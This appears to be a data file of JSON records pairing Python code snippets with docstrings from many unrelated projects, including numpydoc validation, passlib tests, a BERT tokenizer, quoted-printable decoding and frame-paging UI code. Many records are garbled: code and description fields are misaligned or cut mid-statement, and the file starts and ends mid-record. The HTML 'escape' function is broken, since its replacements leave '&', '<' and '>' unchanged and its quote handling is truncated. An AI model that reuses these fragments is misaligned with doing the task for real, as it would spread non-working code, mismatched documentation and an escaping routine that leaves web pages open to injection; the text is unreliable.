(s, canonical_order))return errorsdef indent(str, indent=4):indent_str = ' ' * indentif str is None:return indent_strlines = str.split('\\n')return '\\n'.join(indent_str + l for l in lines)class NumpyFunctionDocString(NumpyDocString):def __init__(self, docstring, function):super(NumpyFunctionDocString, self).__init__(docstring)args, varargs, keywords, defaults = inspect.getargspec(function)if (args and args != ['self']) or varargs or keywords or defaults:self.has_parameters = Trueelse:self.has_parameters = Falsedef _parse(self):self._parsed_data = {'Signature': '','Summary': '','Extended Summary': [],'Parameters': [],'Other Parameters': [],'Returns': [],'Raises': [],'Warns': [],'See Also': [],'Notes': [],'References': '','Examples': '','index': {},}return NumpyDocString._parse(self)def get_errors(self):errors = NumpyDocString.get_errors(self)if not self['Signature']:# This check is currently too restrictive.# Disabling it for now.# errors.append(\"No function signature\")passif not self['Summary']:errors.append(\"No function summary line\")if len(\" \".join(self['Summary'])) > 3 * 80:errors.append(\"Brief function summary is longer than 3 lines\")if not self['Parameters'] and self.has_parameters:errors.append(\"No Parameters section\")return errorsclass NumpyClassDocString(NumpyDocString):def __init__(self, docstring, class_name, class_object):super(NumpyClassDocString, self).__init__(docstring)self.class_name = class_namemethods = dict((name, func) for name, funcin inspect.getmembers(class_object))self.has_parameters = Falseif '__init__' in methods:# verify if __init__ is a Python function. If it isn't# (e.g. the function is implemented in C), getargspec will failif not inspect.ismethod(methods['__init__']):returnargs, varargs, keywords, defaults = inspect.getargspec(methods['__init__'])if (args and args != ['self']) or varargs or keywords or defaults:self.has_parameters = Truedef _parse(self):self._parsed_data = {'Signature': '','Summary': '','Extended Summary': [],'Parameters': [],'Other Parameters': [],'Raises': [],'Warns': [],'See Also': [],'Notes': [],'References': '','Examples': '','index': {},'Attributes': [],'Methods': [],}return NumpyDocString._parse(self)def __str__(self):out = []out += self._str_signature()out += self._str_summary()out += self._str_extended_summary()for param_list in ('Attributes', 'Methods', 'Parameters', 'Raises','Warns'):out += self._str_param_list(param_list)out += self._str_see_also()for s in ('Notes', 'References', 'Examples'):out += self._str_section(s)out += self._str_index()return '\\n'.join(out)def get_errors(self):errors = NumpyDocString.get_errors(self)if not self['Parameters'] and self.has_parameters:errors.append(\"%s class has no Parameters section\"% self.class_name)return errorsclass NumpyModuleDocString(NumpyDocString):"} {"code": "def create_sparse_tempfile(name, size):\n (fd, path) = tempfile.mkstemp(prefix=\"bd.\", suffix=\"-%s\" % name)\n os.close(fd)\n create_sparse_file(path, size)\n return path\n\n", "nl": " Create a temporary sparse file.:param str name: suffix for filename:param size: the file size (in bytes):returns: the path to the newly created file"} {"code": "def assert_patched(self, context=None):\n self.unload_extension()\n if check:\n config = kwds.get(\"PASSLIB_CONFIG\") or kwds.get(\"PASSLIB_CONTEXT\")\n for key in self._config_keys:", "nl": "helper to ensure django HAS been patched, and is using specified config# make sure we're currently patchedmod = sys.modules.get(\"freenet_passlib_170.ext.django.models\")self.assertTrue(mod and mod.adapter.patched, \"patch should have been enabled\")# make sure only the expected objects have been patchedfor obj, attr, source, patched in self._iter_patch_candidates():if patched:self.assertTrue(source == \"freenet_passlib_170.ext.django.utils\",\"obj=%r attr=%r should have been patched: %r\" %(obj, attr, source))else:self.assertFalse(source.startswith(\"freenet_passlib_170.\"),\"obj=%r attr=%r should not have been patched: %r\" %(obj, attr, source))# check context matchesif context is not None:context = CryptContext._norm_source(context)self.assertEqual(mod.password_context.to_dict(resolve=True),context.to_dict(resolve=True))#===================================================================# load / unload the extension (and verify it worked)#===================================================================_config_keys = [\"PASSLIB_CONFIG\", \"PASSLIB_CONTEXT\", \"PASSLIB_GET_CATEGORY\"]def load_extension(self, check=True, **kwds):helper to load extension with specified config & patch django"} {"code": "def decoder_with_caching_impl(self, decoder_input, decoder_cache, encoder_output, is_training):\n raise NotImplementedError()\n\n\nclass Transformer(Model):", "nl": "This is an interface leave to be implemented by sub classes.Args:decoder_input: A Tensor with shape [batch_size, dst_length]decoder_cache: A Tensor with shape [batch_size, *, *, num_hidden]encoder_output: A Tensor with shape [batch_size, src_length, num_hidden]Returns: A Tensor with shape [batch_size, dst_length, num_hidden]"} {"code": "def get_feedstock_name_from_meta(meta):\n\n Uage:\n >>> with update_conda_forge_config(somepath) as cfg:\n ... cfg['foo'] = 'bar'\n \"\"\"", "nl": "Resolve the feedtstock name from the parsed meta.yaml.if \"feedstock-name\" in meta.meta[\"extra\"]:return meta.meta[\"extra\"][\"feedstock-name\"]elif \"parent_recipe\" in meta.meta[\"extra\"]:return meta.meta[\"extra\"][\"parent_recipe\"][\"name\"]else:return meta.name()def get_yaml():# define global yaml API# roundrip-loader and allowing duplicate keys# for handling # [filter] / # [not filter]# Don't use a global variable for this as a global# variable will make conda-smithy thread unsafe.yaml = ruamel.yaml.YAML(typ=\"rt\")yaml.allow_duplicate_keys = Truereturn yaml@contextmanagerdef tmp_directory():tmp_dir = tempfile.mkdtemp(\"_recipe\")yield tmp_dirshutil.rmtree(tmp_dir)class NullUndefined(jinja2.Undefined):def __unicode__(self):return self._undefined_namedef __getattr__(self, name):return \"{}.{}\".format(self, name)def __getitem__(self, name):return '{}[\"{}\"]'.format(self, name)class MockOS(dict):def __init__(self):self.environ = defaultdict(lambda: \"\")self.sep = \"/\"def stub_compatible_pin(*args, **kwargs):return f\"compatible_pin {args[0]}\"def stub_subpackage_pin(*args, **kwargs):return f\"subpackage_pin {args[0]}\"def render_meta_yaml(text):env = jinja2.Environment(undefined=NullUndefined)# stub out cb3 jinja2 functions - they are not important for linting# if we don't stub them out, the ruamel.yaml load fails to interpret them# we can't just use conda-build's api.render functionality, because it would apply selectorsenv.globals.update(dict(compiler=lambda x: x + \"_compiler_stub\",pin_subpackage=stub_subpackage_pin,pin_compatible=stub_compatible_pin,cdt=lambda *args, **kwargs: \"cdt_stub\",load_file_regex=lambda *args, **kwargs: defaultdict(lambda: \"\"),datetime=datetime,time=time,target_platform=\"linux-64\",mpi=\"mpi\",))mockos = MockOS()py_ver = \"3.7\"context = {\"os\": mockos, \"environ\": mockos.environ, \"PY_VER\": py_ver}content = env.from_string(text).render(context)return content@contextmanagerdef update_conda_forge_config(forge_yaml):Utility method used to update conda forge configuration files"} {"code": "def iter_encoded(self):\n if __debug__:\n _warn_if_string(self.response)\n return _iter_encoded(self.response, self.charset)\n", "nl": "Iter the response encoded with the encoding of the response.If the response object is invoked as WSGI application the returnvalue of this method is used as application iterator unless:attr:`direct_passthrough` was activated."} {"code": "def _get_record_options_with_flag(self, scheme, category):\n kwds, has_cat_options = self.get_scheme_options_with_flag(scheme, category)\n\n value, not_inherited = self.is_deprecated_with_flag(scheme, category)\n if value:\n kwds['deprecated'] = True\n if not_inherited:\n has_cat_options = True\n\n return kwds, has_cat_options\n", "nl": "return composite dict of options for given scheme + category.this is currently a private method, though some variantof its output may eventually be made public.given a scheme & category, it returns two things:a set of all the keyword options to pass to :meth:`_create_record`,and a bool flag indicating whether any of these optionswere specific to the named category. if this flag is false,the options are identical to the options for the default category.the options dict includes all the scheme-specific settings,as well as optional *deprecated* keyword."} {"code": "def validate_pairing_code_response(context):\n response = context.response\n assert_that(response.json[\"uuid\"], equal_to(context.device_id))\n assert_that(response.json, has_key(\"accessToken\"))\n assert_that(response.json, has_key(\"refreshToken\"))\n assert_that(response.json[\"expiration\"], equal_to(ONE_DAY))\n\n\n@then(\"the device attributes are stored in the database\")", "nl": "Check that the endpoint returns the expected pairing data to the deviceresponse = context.responseassert_that(response.json, has_key(\"code\"))assert_that(response.json, has_key(\"token\"))assert_that(response.json[\"expiration\"], equal_to(ONE_DAY))assert_that(response.json[\"state\"], equal_to(context.state))@then(\"the activation data is sent to the device\")def validate_activation_response(context):Check that the endpoint returns the expected activation data to the device."} {"code": "def tooltip(self, event: Any) -> str:\n return self.percentage(event)\n", "nl": "Return a tooltip for the given event (default: percentage).To be overloaded in subclasses."} {"code": "def curve(self):\n\n if self.algorithm != 'ec':\n raise ValueError(unwrap(\n '''\n self.algorithm.upper()\n ))\n\n params = self['private_key_algorithm']['parameters']\n chosen = params.chosen\n\n if params.name == 'implicit_ca':\n value = None\n else:\n value = chosen.native\n\n return (params.name, value)\n\n @property", "nl": "Returns information about the curve used for an EC key:raises:ValueError - when the key is not an EC key:return:A two-element tuple, with the first element being a unicode stringof \"implicit_ca\", \"specified\" or \"named\". If the first element is\"implicit_ca\", the second is None. If \"specified\", the second isan OrderedDict that is the native version of SpecifiedECDomain. If\"named\", the second is a unicode string of the curve name."} {"code": "def finalize(self):\n for i in range(1, len(self._local_counts)):\n self.counts[i].append(self._local_counts[i])\n self.counts.pop(0)\n\n for i in range(len(self.counts)):\n self.counts[i] = np.array(self.counts[i])\n\n", "nl": "This will add the very last document to counts. We also get rid of counts[0] since thatrepresents document level which doesnt come under anything else. We also convert all countvalues to numpy arrays so that stats can be computed easily."} {"code": "def _is_chinese_char(self, cp):\n output = []\n for char in text:\n cp = ord(char)\n if cp == 0 or cp == 0xFFFD or _is_control(char):\n continue\n if _is_whitespace(char):\n output.append(\" \")\n else:\n output.append(char)\n return \"\".join(output)\n\n\nclass WordpieceTokenizer(object):\n \"\"\"Runs WordPiece tokenization.\"\"\"", "nl": "Checks whether CP is the codepoint of a CJK character.# This defines a \"chinese character\" as anything in the CJK Unicode block:# https://en.wikipedia.org/wiki/CJK_Unified_Ideographs_(Unicode_block)## Note that the CJK Unicode block is NOT all Japanese and Korean characters,# despite its name. The modern Korean Hangul alphabet is a different block,# as is Japanese Hiragana and Katakana. Those alphabets are used to write# space-separated words, so they are not treated specially and handled# like the all of the other languages.if ((cp >= 0x4E00 and cp <= 0x9FFF)or (cp >= 0x3400 and cp <= 0x4DBF) #or (cp >= 0x20000 and cp <= 0x2A6DF) #or (cp >= 0x2A700 and cp <= 0x2B73F) #or (cp >= 0x2B740 and cp <= 0x2B81F) #or (cp >= 0x2B820 and cp <= 0x2CEAF) #or (cp >= 0xF900 and cp <= 0xFAFF)or (cp >= 0x2F800 and cp <= 0x2FA1F) #): #return Truereturn Falsedef _clean_text(self, text):Performs invalid character removal and whitespace cleanup on text."} {"code": "def _parse_input_saver_proto(input_saver, input_binary):", "nl": "Parser input tensorflow Saver into SaverDef proto.if not gfile.Exists(input_saver):print(\"Input saver file '\" + input_saver + \"' does not exist!\")return -1mode = \"rb\" if input_binary else \"r\"with gfile.FastGFile(input_saver, mode) as f:saver_def = saver_pb2.SaverDef()if input_binary:saver_def.ParseFromString(f.read())else:text_format.Merge(f.read(), saver_def)return saver_defdef freeze_graph(input_graph,input_saver,input_binary,input_checkpoint,output_node_names,restore_op_name,filename_tensor_name,output_graph,clear_devices,initializer_nodes,variable_names_whitelist=\"\",variable_names_blacklist=\"\",input_meta_graph=None,input_saved_model_dir=None,saved_model_tags=tag_constants.SERVING,checkpoint_version=saver_pb2.SaverDef.V2):Converts all variables in a graph and checkpoint into constants."} {"code": "def decode(encoded, eol=NL):\n if not encoded:\n return encoded\n decoded = ''\n\n for line in encoded.splitlines():\n line = line.rstrip()\n if not line:\n decoded += eol\n continue\n\n i = 0\n n = len(line)\n while i < n:\n c = line[i]\n if c <> '=':\n decoded += c\n i += 1\n elif i+1 == n:\n i += 1\n continue\n elif i+2 < n and line[i+1] in hexdigits and line[i+2] in hexdigits:\n decoded += unquote(line[i:i+3])\n i += 3\n else:\n decoded += c\n i += 1\n\n if i == n:\n decoded += eol\n if not encoded.endswith(eol) and decoded.endswith(eol):\n decoded = decoded[:-1]\n return decoded\n\n\nbody_decode = decode\ndecodestring = decode\n\n\n", "nl": "Decode a quoted-printable string.Lines are separated with eol, which defaults to \\\\n."} {"code": "def escape(s):\n if hasattr(s, '__html__'):\n return s.__html__()\n return Markup(unicode(s)\n .replace('&', '&')\n .replace('>', '>')\n .replace('<', '<')\n .replace(\"'\", '&\n .replace('\"', '&\n )\n\n", "nl": "Convert the characters &, <, >, ' and \" in string s to HTML-safesequences. Use this if you need to display text that might containsuch characters in HTML. Marks return value as markup string."} {"code": "def p_kwargslist_list2(self, p):", "nl": " kwargslist_list : COMMA fpdef EQUAL test p[0] = ([p[2]], [p[4]])def p_kwargslist_list3(self, p): kwargslist_list : kwargslist_list COMMA fpdef "} {"code": "def insert_downsampled_points(self, metric, datapoints):\n self._check_connected()\n _wait_async_call(\n self.insert_downsampled_points_async, metric=metric, datapoints=datapoints\n )\n\n @abc.abstractmethod", "nl": "Insert points for a given metric.Args:metric: The metric definition as per get_metric.datapoints: An iterable of (timestamp in seconds, values as double, count as int, stage)"} {"code": "def get_blocks(self):\n\t\tx, y = self.x, self.y\n\t\t_, moves = self.get_grid()\n\n\t\tpath = []\n\t\ti, j = 0, 0\n\t\twhile True:\n\t\t\tdy, dx = self.move_to_gradient[moves[j][i]]\n\t\t\tif dy == dx == 0: break\n\t\t\tpath.append((dy == 1 and x[i] == y[j], dy, dx))\n\t\t\tj, i = j + dy, i + dx\n\n\t\tfor i, j in zip(range(i, len(x)), itertools.count(j)):\n\t\t\tif j < len(y): path.append((x[i] == y[j], 1, 1))\n\t\t\telse: path.append((False, 0, 1))\n\n\t\ti = j = 0\n\t\tfor unmodified, subpath in itertools.groupby(path, itemgetter(0)):\n\t\t\tydiffs = map(itemgetter(1), subpath)\n\t\t\tdx, dy = len(ydiffs), sum(ydiffs)\n\t\t\tyield unmodified, dx, dy\n\t\t\ti += dx\n\t\t\tj += dy\n\n\t@memoized", "nl": "Compares two binary strings under the assumption that y is the result ofapplying the following transformations onto x:* change single bytes in x (likely)* expand single bytes in x to two bytes (less likely)* drop single bytes in x (even less likely)Returns a generator that yields elements of the form (unmodified, xdiff, ydiff),where each item represents a binary chunk with \"unmodified\" denoting whether thechunk is the same in both strings, \"xdiff\" denoting the size of the chunk in xand \"ydiff\" denoting the size of the chunk in y.Example:>>> x = \"abcdefghijklm\">>> y = \"mmmcdefgHIJZklm\">>> list(MemoryComparator(x, y).get_blocks())[(False, 2, 3), (True, 5, 5),(False, 3, 4), (True, 3, 3)]"} {"code": "def add_mode(self, num_modes):\n Resets the state of the circuit to have all modes in vacuum.\n If a keyword arg is not present, the corresponding parameter is unchanged.\n\n Keyword Args:\n num_subsystems (int): sets the number of modes in the reset circuit.\n pure (bool): if True, the reset circuit will represent its state as a pure state. If False, the representation will be mixed.\n cutoff_dim (int): new Fock space cutoff dimension to use.\n batch_size (None, int): None means no batching. An integer value >= 2 sets the batch size to use.", "nl": "Append M modes (initialized in vacuum states) to the circuit.vac = self._single_mode_pure_vac if self._state_is_pure else self._single_mode_mixed_vacnew_state = self._statefor _ in range(num_modes):new_state = ops.insert_state(vac, new_state, self._state_is_pure, batched=self._batched)self._update_state(new_state)self._num_modes += num_modesdef reset(self, **kwargs):r"} {"code": "def shape_padright(t, n_ones=1):\n _t = as_tensor_variable(t)\n\n pattern = [i for i in xrange(_t.type.ndim)] + ['x'] * n_ones\n return DimShuffle(_t.broadcastable, pattern)(_t)\n\n\n@constructor", "nl": "Reshape `t` by right-padding the shape with `n_ones` 1s.See Also--------shape_padaxisshape_padleftDimshuffle"} {"code": "def test_unique_names_single_fastq(self):\n fastqs = ['PJB-E_GCCAAT_L001_R1_001.fastq.gz']\n mapping = get_unique_fastq_names(fastqs)\n self.assertEqual(mapping['PJB-E_GCCAAT_L001_R1_001.fastq.gz'],\n 'PJB-E.fastq.gz')\n", "nl": "Check name for a single fastq"} {"code": "def get_secure_cookie_key_version(self, name, value=None):\n self.require_setting(\"cookie_secret\", \"secure cookies\")\n if value is None:\n value = self.get_cookie(name)\n return get_signature_key_version(value)\n", "nl": "Returns the signing key version of the secure cookie.The version is returned as int."} {"code": "def geodesc_spec():\n model_class = model_class or model_instance.__class__\n return MODEL_DATA_SPECS[model_class]", "nl": "Spec for GeoDesc.return DataSpec(batch_size=2,input_size=(32, 32),scale=0.00625,central_crop_fraction=0.5,channels=1,mean=128)# Collection of sample auto-generated modelsMODELS = (GeoDesc)# The corresponding data specifications for the sample models# These specifications are based on how the models were trained.MODEL_DATA_SPECS = {GeoDesc: geodesc_spec(),}def get_data_spec(model_instance=None, model_class=None):Returns the data specifications for the given network."} {"code": "def _updatePageButtonState(self):\n self.prev_page_btn.setEnabled(not self.page == 1)\n self.next_page_btn.setEnabled(False)\n job = self.frameMonitorTree.getJob()\n if not job:\n self.page_label.setText('')\n return\n\n total_frames = job.totalFrames()\n if total_frames <= 1000:\n self.page_label.setText('{0}'\n .format('Page 1 of 1'))\n return\n\n has_filters = False\n for menu in [self._filterLayersButton.menu(),\n self._filterStatusButton.menu()]:\n if menu and not has_filters:\n for item in menu.actions():\n if item.isChecked():\n has_filters = True\n break\n total_pages = int(math.ceil(total_frames / 1000.0))\n page_label_text = 'Page {0}'.format(self.page)\n if has_filters:\n temp_search = deepcopy(self.frameMonitorTree.frameSearch)\n temp_search.page = self.page + 1\n temp_frames = job.getFrames(temp_search)\n self.next_page_btn.setEnabled(len(temp_frames) > 0)\n else:\n page_label_text += ' of {0}'.format(total_pages)\n self.next_page_btn.setEnabled(self.page < total_pages)\n\n self.page_label.setText('{0}'\n .format(page_label_text))\n", "nl": "Called when a new job is selected, or when any of the frame filtersis changed. Updates the \"next page\" & the \"previous page\" button state,as well as the page # label."} {"code": "def switch(self, tab_name):\n\n\t\ti = self.get_index(tab_name)\n\t\tif i is None:\n\t\t\treturn False\n\t\tself.setCurrentIndex(i)\n\t\treturn True\n", "nl": "Switch to a specific tabReturns:True if the tab exists, False otherwise"} {"code": "def test_blog_page_with_optional_arguments(self):\n path = create_blog_page(\n \"Test\",\n \"test\",\n None,\n {\"test tag\"},\n {\"test category\"},\n \"es\",\n date.today(),\n )\n\n www_response = self.client.get(path)\n self.assertEqual(www_response.status_code, 200)\n", "nl": "blog page should be created correctly with one or more \\optional arguments provided"} {"code": "def init_session(self):\n pass\n", "nl": "Restore after one session"} {"code": "def rescore(self, new_test):\n\n if type(other) is tuple:\n self.cook_append(other[0], other[1])\n else:\n assert self.compatible(other), \"incompatible BLEUs.\"\n self.ctest.extend(other.ctest)\n self.crefs.extend(other.crefs)\n self._score = None\n\n return self\n", "nl": " replace test(s) with new test(s), and returns the new score.return self.retest(new_test).compute_score()def size(self):assert len(self.crefs) == len(self.ctest), \"refs/test mismatch! %d<>%d\" % (len(self.crefs), len(self.ctest))return len(self.crefs)def __iadd__(self, other):add an instance (e.g., from another sentence)."} {"code": "def parse_args():\n parser = argparse.ArgumentParser(description='Train a FPN Semantic Segmentation network')\n parser.add_argument('--dataset', dest='dataset',\n\t\t\t\t\t help='training dataset',", "nl": "Parse input arguments"} {"code": "def adjective_rate(self, **kwargs):\n return self._extract_lexico_semantic_features('adjective_rate', **kwargs)['adjective_rate']\n", "nl": "Extract the adjective rate.Ref: https://pubmed.ncbi.nlm.nih.gov/28321196/Args:kwargs (list): Optional arguments for threshold valuesReturns:The adjective rate across all sentence objects"} {"code": "def process(self):\n self.check_requirements()\n metadata = self.upstream.get_metadata()\n max_sample_period = metadata['device']['max_sample_period']\n for chunk in self.upstream.process():\n energy = get_total_energy(chunk, max_sample_period)\n self.results.append(chunk.timeframe, energy)\n yield chunk\n", "nl": "Preference: Cumulative energy > Energy > Power"} {"code": "def __init__(self):\n Context manager to measure execution time of code in context.\n\n :return TimeItResult\n\n example:\n with timeit_context() as result:\n do_long_code()\n print(\"Long code takes \", result.time_passed)\n \"\"\"\n AEA test wrapper tool.\n\n To make testing AEA instances easier\n \"\"\"", "nl": "Init with time passed = -1.self.time_passed = -1@contextmanagerdef timeit_context():"} {"code": "def test_hook_config(parsed_args):\n\n log.debug(\"[ HOOK ] Test_hook_config\")\n\n\n@on_config_loaded", "nl": "Hook for testing purposes"} {"code": "def retry_reads(self):\n return self.__auto_encryption_opts\n\n @property", "nl": "If this instance should retry supported read operations.return self.__retry_reads@propertydef auto_encryption_opts(self):A :class:`~pymongo.encryption.AutoEncryptionOpts` or None."} {"code": "def str2bool(input_):\n if input_.lower() in ('yes', 'true', 't', 'y', '1'):\n return True\n elif input_.lower() in ('no', 'false', 'f', 'n', '0'):\n return False\n else:\n raise argparse.ArgumentTypeError('Boolean value expected.')\n", "nl": "Argparser"} {"code": "def _boxes_to_grid_inv(boxes, H, W):\n O = boxes.size(0)\n x0 = boxes[:, 0].view(O, 1, 1).expand(O, 1, W)\n y0 = boxes[:, 1].view(O, 1, 1).expand(O, H, 1)\n x1 = boxes[:, 2].view(O, 1, 1).expand(O, 1, W)\n y1 = boxes[:, 3].view(O, 1, 1).expand(O, H, 1)\n\n X = torch.linspace(0, 1, steps=W).view(1, 1, W).to(boxes)\n Y = torch.linspace(0, 1, steps=H).view(1, H, 1).to(boxes)\n\n X = X.expand(O, 1, W)\n X = X * (x1 - x0) + x0\n X = X.expand(O, H, W)\n\n Y = Y.expand(O, H, 1)\n Y = Y * (y1 - y0) + y0\n Y = Y.expand(O, H, W)\n\n grid = torch.stack([X, Y], dim=3)\n\n grid = grid.mul(2).sub(1)\n return grid\n", "nl": "Input:- boxes: FloatTensor of shape (O, 4) giving boxes in the [x0, y0, x1, y1] in (0, 1)format in the [0, 1] coordinate space- H, W: Scalars giving size of outputReturns:- grid: FloatTensor of shape (O, H, W, 2) suitable for passing to grid_sample"} {"code": "def putmask(self, mask, new, align=True, inplace=False, axis=0, transpose=False):\n inplace = validate_bool_kwarg(inplace, \"inplace\")\n", "nl": "putmask the data to the block; we must be a single block and notgenerate other blocksreturn the resulting blockParameters----------mask : the condition to respectnew : a ndarray/objectalign : boolean, perform alignment on other/cond, default is Trueinplace : perform inplace modification, default is FalseReturns-------a new block, the result of the putmask"} {"code": "def create_service(service_name=None, run=process.run):\n if service_name:\n return Factory.create_specific_service(service_name, run)\n return Factory.create_generic_service(run)\n\n", "nl": "# Unified interface for generic and specific service manager.:return: _SpecificServiceManager if service_name is not None,_GenericServiceManager if service_name is None."} {"code": "def voc_ap(rec, prec, use_07_metric=False):\n if use_07_metric:\n ap = 0.0\n for t in np.arange(0.0, 1.1, 0.1):\n if np.sum(rec >= t) == 0:\n p = 0\n else:\n p = np.max(prec[rec >= t])\n ap = ap + p / 11.0\n else:\n mrec = np.concatenate(([0.0], rec, [1.0]))\n mpre = np.concatenate(([0.0], prec, [0.0]))\n\n for i in range(mpre.size - 1, 0, -1):\n mpre[i - 1] = np.maximum(mpre[i - 1], mpre[i])\n\n i = np.where(mrec[1:] != mrec[:-1])[0]\n\n ap = np.sum((mrec[i + 1] - mrec[i]) * mpre[i + 1])\n return ap\n\n", "nl": "Compute VOC AP given precision and recall. If use_07_metric is true, usesthe VOC 07 11-point method (default:False)."} {"code": "def filter_duplicate_generation_prefs(self) -> None:\n\n logging.info(\"Checking for duplicate name generation preference values\")\n for preset_type in PresetPrefType:\n self._filter_duplicate_generation_prefs(preset_type)\n", "nl": "Remove any duplicate subfolder generation or file renaming custom presets"} {"code": "def getState(self, copy=True):\n state = self.state.copy()\n views = []\n for v in state['linkedViews']:\n if isinstance(v, weakref.ref):\n v = v()\n if v is None or isinstance(v, basestring):\n views.append(v)\n else:\n views.append(v.name)\n state['linkedViews'] = views\n if copy:\n return deepcopy(state)\n else:\n return state\n", "nl": "Return the current state of the ViewBox.Linked views are always converted to view names in the returned state."} {"code": "def validate_gcs_path(path, require_object):\n bucket, key = datalab.storage._bucket.parse_name(path)\n if bucket is None:\n raise Exception('Invalid GCS path \"%s\"' % path)\n if require_object and key is None:\n raise Exception('It appears the GCS path \"%s\" is a bucket path but not an object path' % path)\n\n", "nl": " Check whether a given path is a valid GCS path.Args:path: the config to check.require_object: if True, the path has to be an object path but not bucket path.Raises:Exception if the path is invalid"} {"code": "def face_point(self, point: Point) -> None:\n angle = get_angle_degrees(self.center_x, self.center_y, point[0], point[1])\n\n self.angle = -angle\n", "nl": "Face the sprite towards a point. Assumes sprite image is facing upwards.:param Point point: Point to face towards."} {"code": "def eth_getUncleByBlockNumberAndIndex(self, block=BLOCK_TAG_LATEST, index=0):\n block = validate_block(block)\n return self._call('eth_getUncleByBlockNumberAndIndex', [block, hex(index)])\n", "nl": "https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_getunclebyblocknumberandindexTESTED"} {"code": "def get_sys_info():\n\n deps = [\n (\"oggm\", lambda mod: mod.__version__),\n (\"numpy\", lambda mod: mod.__version__),\n (\"scipy\", lambda mod: mod.__version__),\n (\"pandas\", lambda mod: mod.__version__),\n (\"geopandas\", lambda mod: mod.__version__),\n (\"netCDF4\", lambda mod: mod.__version__),\n (\"matplotlib\", lambda mod: mod.__version__),\n (\"rasterio\", lambda mod: mod.__version__),\n (\"fiona\", lambda mod: mod.__version__),\n (\"pyproj\", lambda mod: mod.__version__),\n (\"shapely\", lambda mod: mod.__version__),\n (\"xarray\", lambda mod: mod.__version__),\n (\"dask\", lambda mod: mod.__version__),\n (\"salem\", lambda mod: mod.__version__),\n ]\n\n deps_blob = list()\n for (modname, ver_f) in deps:\n try:\n if modname in sys.modules:\n mod = sys.modules[modname]\n else:\n mod = importlib.import_module(modname)\n ver = ver_f(mod)\n deps_blob.append((modname, ver))\n except BaseException:\n deps_blob.append((modname, None))\n\n return deps_blob\n\n", "nl": "Returns system information as a list of tuplesblob = []try:(sysname, nodename, release,version, machine, processor) = platform.uname()blob.extend([(\"python\", \"%d.%d.%d.%s.%s\" % sys.version_info[:]),(\"python-bits\", struct.calcsize(\"P\") * 8),(\"OS\", \"%s\" % (sysname)),(\"OS-release\", \"%s\" % (release)),(\"machine\", \"%s\" % (machine)),(\"processor\", \"%s\" % (processor)),])except BaseException:passreturn blobdef get_env_info():Returns env information as a list of tuples"} {"code": "def __len__(self):\n Is specified item in this bus?\n :param item: autotest id or QObject-like object\n :return: True - yes, False - no\n \"\"\"", "nl": " :return: Number of devices in this bus return len(self.bus)def __contains__(self, item):"} {"code": "def test_bin(self):\n\n args = XOSProcessorArgs()\n args.inputs = xproto\n args.target = self.target\n\n output = XOSProcessor.process(args)\n exec(output)\n\n \"\"\"", "nl": "xproto = policy output < (ctx.is_admin = True | obj.empty = True) | False>"} {"code": "def reshape_input(input_data, input_size, single=True, warning=False):\n with suppress(Exception):\n input_data = torch.from_numpy(input_data)\n\n if input_size is None:\n if warning is True:\n print(\"No size was given and no reshaping can occur\")\n return input_data\n\n start = len(input_data)\n\n alternate = list(input_size)\n alternate[0] = start\n alternate = tuple(alternate)\n\n try:\n if single:\n input_data = input_data.reshape(alternate)\n else:\n input_data = input_data.reshape(input_size)\n except Exception:\n if warning is True:\n print(\"Warning: Data loss is possible during resizing.\")\n if single:\n input_data = input_data.resize_(alternate)\n else:\n input_data = input_data.resize_(input_size)\n return input_data\n\n", "nl": "Reshape input data before querying modelThis function will conduct a low-level resize if the size ofthe input data is not compatabile with the model input size.Parameters:input_data: A Torch tensor or Numpy array of the datainput_size: A tuple of integers describing the new sizewarning: A Boolean that turns warnings on or offReturns:Data of new shape"} {"code": "def prevent_stack_overflow(match_parameters=False):\n", "nl": "Function decorator to protect a function from stack overflows -raises an exception if a (potential) infinite recursion is detected."} {"code": "def from_xml_node(cls, xml_node):\n group_member_path = get_xml_text_value(xml_node, Elements.GROUP_MEMBER_PATH)\n name = get_xml_text_value(xml_node, Elements.NAME)\n group_member_node = get_xml_node(xml_node, Elements.GROUP_MEMBER)\n group_member = Violation_Single_Group.from_xml_node(group_member_node)\n return cls(group_member_path, name, group_member)\n\n\nclass Violation_Group_Destination(Violation_Group_Target):\n class_id = Attributes.VIOLATION_GROUP_NETWORK_OBJECT\n element = Elements.DESTINATION\n", "nl": "Initialize the object from a XML node.:param xml_node: The XML node from which all necessary parameters will be parsed.:type xml_node: xml.etree.Element"} {"code": "def set_execution_timeout(self, execution_timeout: Optional[float]) -> \"AEABuilder\":\n self._execution_timeout = execution_timeout\n return self\n", "nl": "Set agent execution timeout in seconds.:param execution_timeout: execution_timeout in seconds:return: self"} {"code": "def test_multiple_inheritance():\n\n time = '11:23 PM'\n", "nl": "Multiple Inheritance# pylint: disable=too-few-public-methodsclass Clock:Clock class"} {"code": "def __init__(self, file_handle=sys.stdout, bytes_to_str=DEFAULT_HEX_TO_STR):\n self._file_handle = file_handle\n self._format_raw_bytes = bytes_to_str\n self._csv_handle = csv.writer(self._file_handle)\n", "nl": "Args:file_hanlde (io.TextIOBase): Open file handle for logging. Defaults to sys.stdout.bytes_to_str (function): Function that converts sent/received bytes data to string for logging."} {"code": "def test_reprNonDefaultSections(self):\n m = dns.Message()\n m.queries = [1, 2, 3]\n m.answers = [4, 5, 6]\n m.authority = [7, 8, 9]\n m.additional = [10, 11, 12]\n self.assertEqual(\n '',\n repr(m),\n )\n\n", "nl": "L{dns.Message.__repr__} displays sections which differ from theirdefaults."} {"code": "def L(self, x_in, y_in, x_out, y_out):\n command = \"\"\n\n xor_x_y = \"BVXOR(\" + x_in + \" , \" + y_in + \")\"\n rot_x_y = rotl(xor_x_y, 8, 16)\n\n command += \"ASSERT(\" + x_out + \" = \"\n command += \"BVXOR(\" + x_in + \" , \" + rot_x_y + \"));\\n\"\n\n command += \"ASSERT(\" + y_out + \" = \"\n command += \"BVXOR(\" + y_in + \" , \" + rot_x_y + \"));\\n\"\n\n return command", "nl": "Model for the L function in SPARX. L is the Feistel function andis borrowed from NOEKEON."} {"code": "def _GetMsbuildToolsetOfProject(proj_path, spec, version):", "nl": "Get the platform toolset for the project.Arguments:proj_path: Path of the vcproj or vcxproj file to generate.spec: The target dictionary containing the properties of the target.version: The MSVSVersion object.Returns:the platform toolset string or None."} {"code": "def _filterwarnings(filters, quiet=False):\n frame = sys._getframe(2)\n registry = frame.f_globals.get('__warningregistry__')\n if registry:\n registry.clear()\n with warnings.catch_warnings(record=True) as w:\n sys.modules['warnings'].simplefilter(\"always\")\n yield WarningsRecorder(w)\n reraise = list(w)\n missing = []\n for msg, cat in filters:\n seen = False\n for w in 